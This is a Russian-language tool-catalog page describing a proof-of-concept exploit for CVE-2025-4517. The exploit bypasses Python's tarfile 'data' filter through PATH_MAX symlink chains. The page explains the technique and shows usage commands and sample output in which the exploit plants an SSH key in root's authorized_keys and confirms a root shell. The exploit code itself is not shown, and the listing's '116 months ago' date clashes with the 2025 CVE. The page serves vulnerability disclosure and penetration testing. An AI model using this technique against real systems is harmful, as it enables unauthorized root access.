Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/estebanzarate/cve-2025-4517-python-tarfile-filter-data-bypass-poc
Повышение привилегийАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеRed TeamingРазработка Полезной Нагрузки
GitHubestebanzarate/cve-2025-4517-python-tarfile-filter-data-bypass-poc

CVE-2025-4517-Python-tarfile-filter-data-Bypass-PoC

Эксплойт Proof-of-concept для CVE-2025-4517, уязвимости path traversal в песочнице tarfile filter='data' в Python, позволяющей запись произвольных файлов за пределами каталога извлечения через созданные цепочки символьных ссылок.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
116 месяцев назадЕщё не проверено

CVE-2025-4517 — Обход фильтра "data" в Python tarfile (PoC)

Уязвимость обхода пути в модуле tarfile Python, затрагивающая версии с 3.8.0 по 3.13.1. Песочница filter="data", предназначенная для предотвращения небезопасных извлечений, может быть обойдена путём создания путей, превышающих PATH_MAX (4096 байт), что заставляет os.path.realpath() молча прекращать разрешение симлинков. Проверка безопасности видит безопасный путь, в то время как ядро разрешает реальный, что позволяет записывать файлы за пределами каталога извлечения. Данный PoC использует обход для записи открытого ключа SSH в /root/.ssh/authorized_keys.


Как это работает

  1. Создаёт вредоносный tar с глубоко вложенными каталогами (имена по 247 символов), которые «выталкивают» пути симлинков за пределы PATH_MAX.
  2. filter="data" вызывает os.path.realpath() для проверки каждого пути — но при PATH_MAX разрешение останавливается, и путь по-прежнему выглядит находящимся внутри промежуточного каталога. Проверка пройдена.
  3. Ядро корректно разрешает полный путь во время извлечения, «вырываясь» из песочницы.
  4. Обычный файл записывается через цепочку «сбежавших» симлинков, попадая в /root/.ssh/authorized_keys.
  5. SSH-доступ с правами root подтверждается с помощью внедрённого ключа.

Требования

  • Python 3
  • ssh-keygen доступен (или укажите свой открытый ключ с помощью -k)
  • Право на запись в каталог резервных копий, используемый уязвимым скриптом
  • Права sudo для запуска уязвимого извлечения

Использование

root@kitploit:~
# Сгенерировать новую пару ключей автоматически
python3 exploit.py

# Использовать существующий открытый ключ
python3 exploit.py -k ~/.ssh/id_ed25519.pub

Пример:

root@kitploit:~
$ python3 exploit.py
[+] SSH keypair generated: /tmp/cve_2025_4517_key
[*] Creating exploit tar...
[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar
[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit deployed successfully
[*] Triggering extraction via vulnerable script...
[+] Extraction completed
[*] Verifying exploit via SSH...
[+] SUCCESS! SSH as root confirmed: uid=0(root) gid=0(root) groups=0(root)

============================================================
[+] EXPLOITATION SUCCESSFUL!
[+] SSH into root with: ssh -i /tmp/cve_2025_4517_key root@localhost
============================================================

[?] Open root shell now? (y/n):

Ссылки

  • CVE-2025-4517
  • Документация Python tarfile — фильтры извлечения
  • Уведомление безопасности Python

Благодарности

  • Обнаружение: Команда реагирования на угрозы безопасности Python
  • Очистка и упрощение: Esteban Zárate
Скачать инструмент